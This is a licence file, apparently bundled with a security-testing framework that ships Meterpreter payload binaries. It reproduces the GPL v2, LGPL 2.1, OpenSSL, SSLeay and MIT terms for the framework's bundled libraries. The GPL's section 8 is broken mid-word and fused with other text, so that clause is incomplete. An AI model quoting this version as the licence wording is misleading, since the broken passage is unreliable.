51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Prot holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
````
LGPL
====
- The Metasm library located under lib/metasm.
Copyright (C) 2006-2010 Yoann GUILLOT
- The PcapRub library located under external/pcaprub
- The Ruby-Lorcon library located under external/ruby-lorcon
- Gem components located under lib/gemcache/
* coderay - Copyright (c) 2006-2011 by murphy (Kornelius Kalnbach) <murphy rubychan de>
````
GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
[This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.]
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
````
OpenSSL
=======
- The OpenSSL library embedded into the Meterpreter payload binaries and the
corresponding header files in the source tree
````
The OpenSSL toolkit stays under a dual license, i.e. both the conditions of
the OpenSSL License and the original SSLeay license apply to the toolkit.
See below for the actual license texts. Actually both licenses are BSD-style
Open Source licenses. In case of any license issues related to OpenSSL
please contact openssl-core@openssl.org.
OpenSSL License
---------------
/* ====================================================================
* Copyright (c) 1998-2011 The OpenSSL Project. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. All advertising materials mentioning features or use of this
* software must display the following acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit. (http://www.openssl.org/)"
*
* 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
* endorse or promote products derived from this software without
* prior written permission. For written permission, please contact
* openssl-core@openssl.org.
*
* 5. Products derived from this software may not be called "OpenSSL"
* nor may "OpenSSL" appear in their names without prior written
* permission of the OpenSSL Project.
*
* 6. Redistributions of any form whatsoever must retain the following
* acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit (http://www.openssl.org/)"
*
* THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT `AS IS'' AND ANY
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
* ====================================================================
*
* This product includes cryptographic software written by Eric Young
* (eay@cryptsoft.com). This product includes software written by Tim
* Hudson (tjh@cryptsoft.com).
*
*/
Original SSLeay License
-----------------------
/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young (eay@cryptsoft.com).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson (tjh@cryptsoft.com).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young (eay@cryptsoft.com)"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson (tjh@cryptsoft.com)"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG `AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.]
*/
````
MIT
===
- The SSHKey library located under lib/sshkey.
Copyright (c) 2011 James Miller
- The Net::SSH library located under lib/net/ssh.
Copyright (c) 2008 Jamis Buck <jamis@37signals.com>
- Anemone located under lib/anemone
Copyright (c) 2009 Vertive, Inc.
